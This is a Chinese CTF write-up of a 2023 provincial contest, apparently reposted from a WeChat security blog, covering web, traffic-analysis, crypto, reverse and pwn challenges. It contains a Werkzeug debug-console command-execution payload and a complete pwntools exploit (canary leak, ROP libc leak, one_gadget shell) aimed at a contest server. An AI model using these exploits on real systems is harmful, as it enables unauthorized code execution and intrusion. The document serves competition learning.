一、web类
1、Web 第一题
通过扫描获取到该网站存在git泄露:
使用工具将git源码copy一份到本地:
查看git日志,看到里面有一个add flag txt:
那就在使用查看一下这个日志的变化情况,里面就有flag:
2、Web 第三题
访问目录获取pin码 /get_file/app.log
访问控制台/console,用获得的pin码进行登录
执行命令,获得flag
__import__("os").popen('cat /flag').read()
二、misc类
1、misc 第一题
导出流量以http的形式导出,然后
看到里面有访问hack.php文件
然后以hack.php作为关键字过滤一下:http contains "hack.php"
然后在一个个看,看到了一串base64的编码的字符
base64解密得到flag!
2、misc第二题
打开流量包,发现里面有一些dns的请求包,因为这不常见,所以过滤一下dns的包
得到如下流量
发现dns的域名中带有base这个字段,过滤一下
在将文件导出为txt文件,然后放到kali上进行处理,使用如下命令进行拼接:
cat 1.txt |grep "Standard query"|awk -F "A" '{print $2}'|sed 's/base//g'|awk -F "." '{print $1}'|awk '!seen[$0]++'|tr 'n' '@'|tr ' ' '@'|sed "s/@//g"
然后将获得的字符串进行base64解码,得到结果:
三、crypto类
1、crypto 第一题
解题代码如下:
#from flag import flag
def encrypt(x, y):
key='zxb'
result=''
for i in range(len(x)):
result+=chr(ord(x[i])^ord(y[i])^ord(key[i%3]))
return result
#x = flag
#y = flag[1:] + flag[0]
enc = open('flag.enc', 'rb')
x=enc.read()
print(x)
enc.close()
print(encrypt('flag','lag{'))
print(encrypt('0flag','flag{'))
print(encrypt('00flag','0flag{'))
flag='ag{'
i=32
while i<=44:
flag+=encrypt(flag,flag[1:]+chr(x[i]))[-1]
i+=1
print('fl'+flag)
执行获得flag,先找到flag的位置,用补0去找找到ro|d位置去推下一位,最后手推出flag!
2、crypto第二题
1)观察题目:给定的 Python 脚本中使用了 RSA 加密,其中包含了两个随机生成的 1024 位素数,以及一个异或操作后的泄漏值。加密后的密文和其他参数都被保存在 output.txt 文件中。
2)关键观察:异或操作 (p ^ q) & ((1 << 800) - 1) 泄漏了部分信息。通过这个泄漏值和 RSA 加密中的其他参数,可以尝试还原素数 p 和 q。
3、还原 p 和 q:利用异或的性质,我们可以尝试找到满足 (p ^ q) & ((1 << 800) - 1) 的 p 和 q。通过编写代码,我们可以在有限的时间内找到可能的 p 值。在这里,使用了多项式环的方法,生成多项式并找到其根。
4、解密密文:找到 p 和 q 后,计算 RSA 的私钥 d,并使用密文解密得到明文。
5、获得 Flag:得到明文后,即为题目所求的 Flag。
详细步骤和代码:
1、使用异或泄漏值 (p ^ q) & ((1 << 800) - 1) 和 RSA 加密中的其他参数,通过编2、写代码找到可能的 p 值。
3、利用找到的 p,计算得到 q,然后计算 RSA 的私钥 d。
4、使用得到的 d 解密密文,获得明文。
5、得到明文后,即为 Flag。
from Crypto.Util.number import long_to_bytes
from sage.all import *
e = 65537
n = 15571235426797939539238831633247703697409215642831362718146066385417021399103592649626632712024314917817471913939626433520575953306292197338982465585231726225691523482332855007581046878858859892738287906751603097287292123432184264315236703956440181898240812707048906540935557847459938834006517112306094162817074984718655862387364938057878492284440744016546443775531916167164017470033683394275914057901191912284384121493630109154926516069366062089783088439732169772370370955294590903435838430320194003869373124126574176180627081544221636132143905441920473191061061461409407547427997166908876273698276541130678984899303
c = 11410349198192402083731025358124670205298762156812742512455806430945720053501248573549000565669379087195952270760749370073167203051546900914096995321278405720220367427519939638116382433595807325494197693420378893656116540927023043865164328614746414479628014540017033577967693193978113818125984134421120761946747105183198057647052506266535688704007423583060833596105939484423152668717114112856314424069195220194470093254307436153736407926031038716511515018884928576377289853802156015456424197355710062631887029663480146136538261678824501076415658065918045730425523209518075212493675750467401967567713964871622654517929
x = 2391766340580872396075853116060954790369153414025348183898792053278577108869816452176679906799250067017630058347039968502218692998106913594566891267374934074656997523077504385902187178779959674864970574631185410074159953449193378952686076390
def findp(p, rp):
l = len(p)
if l == 800:
rp.append(int(p, 2))
else:
pp = int(p, 2)
qq = (x ^ pp) % (2 ** l)
if pp * qq % (2 ** l) == n % (2 ** l):
findp('1' + p, rp)
findp('0' + p, rp)
rp = []
findp('1', rp)
for i in range(len(rp)):
RP.<x> = PolynomialRing(Zmod(n))
f = pow(2, 800) * x + rp[i]
f = f.monic()
root = f.small_roots(X=2^230, beta=0.4)
if root:
p = rp[i] + pow(2, 800) * int(root[0])
q = n // p
if p * q == n:
break
phi = (p-1) * (q-1)
d = inverse_mod(e, phi)
m = pow(c, d, n)
flag = long_to_bytes(m).decode('utf-8')
print("Possible p:", p)
print("Possible q:", q)
print("Private key d:", d)
print("Decrypted message:", flag)
Possible p: 149487544519440623609568980783461396890827381199697356199443983163636934811386770838907082712844190736357520434993411407421797031029605717270256676944479826913866336806550353649460388156054134368384789183381139793509371221991930823711577983300382313309193849146664362042549007245815522226700739531885272162943
Possible q: 104086704947992532317429408565278795860204381083027546122456922754193937427366865774765008972485316436309577496066923661185211035959388847866491062810440131219625516440791367362010352875509849113478448806674810043248141194172598055131214197010799310663570086043569330176798120751458258226230684285746879241
Private key d: 96811978547275825310458525588087064300918086244015623521847218926376417451257272422939942606233094450920782684416650405989489358156914915700370805420514848010531229958082679978904024063375304335353378706630100864012592980884961841294824507492781287946222662210303667264015090776132211979276478672678182657
Decrypted message: flag{a20a5a7eb490770447d59f291e71930e}
通过 Python 脚本中使用SageMath 的功能,通过生成多项式并找到其根的方式还原了 p 和 q。接着计算 RSA 的私钥 d,最终解密密文得到 Flag!flag{a20a5a7eb490770447d59f291e71930e}'。
四、reverse类
reverse第一题
打开看到主函数逻辑
异或运算,解出来是假flag,后面看到前面有一个TLS函数
对一段数据进行了处理,大概猜测是SMC,动态调试,解密真正的代码段:
函数打开文件,经过一串加密,得到加密数据,最后和v11比较,编写脚本:
def x(a1, a2):
return ~a2 & ~a1
v25 = [-83, -91, -93, -49, -52, -55, -53, -88, -82, -81, -85, -72, -89, -93, -81, -88, -89, -95, -51]
v12 = [0] * 32
for i in range(19):
for j in range(200):
v16 = x(j, i)
v17 = x(i, i)
v1 = j
v18 = v1
v2 = x(v1, v1)
v3 = x(v2, v17)
v19 = x(v3, v16) - 1
v20 = x(j, i)
v21 = x(i, i)
v4 = j
v22 = v4
v5 = x(v4, v4)
v6 = x(v5, v21)
v7 = x(v6, v20)
v12[i] = x((v7 - 1), v19)
if v12[i] == v25[i]:
print(chr(j), end='')
print()
五、pwn类
pwn第一题
泄露canary后,发现栈溢出漏洞,利用rop打印出puts的got表数据,泄露libc基地址,并返回到main函数,第二次直接返回到libc的onegadget地址。
from pwn import *
#from LibcSearcher import *
context(os='linux', arch='amd64', log_level='debug')
#context.terminal = ['tmux','splitw','-h']
filename = './pwn'
debug = 0
ip = '111.74.9.131'
port = 18008
if debug:
p = process(filename)
else:
p = remote(ip,port)
ru = lambda a: p.recvuntil(a)
r = lambda n: p.recv(n)
sla = lambda a,b: p.sendlineafter(a,b)
sa = lambda a,b: p.sendafter(a,b)
sl = lambda a: p.sendline(a)
s = lambda a: p.send(a)
def inter() : p.interactive()
def debu(cmd=''):
gdb.attach(p,cmd)
pause()
def get_addr():
return u64(p.recvuntil(b'x7f')[-6:].ljust(8, b'x00'))
def get_sysbin(libc_base,libc):
return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/shx00'))
def csu(rdi, rsi, rdx, rip, gadget) :
return p64(gadget) + p64(0) + p64(1) + p64(rip) + p64(rdi) + p64(rsi) + p64(rdx) + p64(gadget - 0x1a)
#debu('b *0x4007E8')
s(b'a'*0x49)
ru(b'a'*0x49)
canary = u64(r(0x7).rjust(8, b'x00'))
print('canary: ' , hex(canary))
payload = b'a'*0x48 + p64(canary) + p64(0x0)+p64(0x400853) + p64(0x601018) + p64(0x400580)+ p64(0x40072F)
sla(b'overflow!n',payload)
leak = get_addr()-0x80aa0
print('leak: ', hex(leak))
s(b'a'*8)
payload = b'a'*0x48 + p64(canary) + p64(0x0)+p64(leak+0x4f3d5)
sla(b'overflow!n',payload)
inter()
原文始发于微信公众号(大余安全):2023年江西省振兴杯个人赛wp
- 左青龙
- 微信扫一扫
- 右白虎
- 微信扫一扫
评论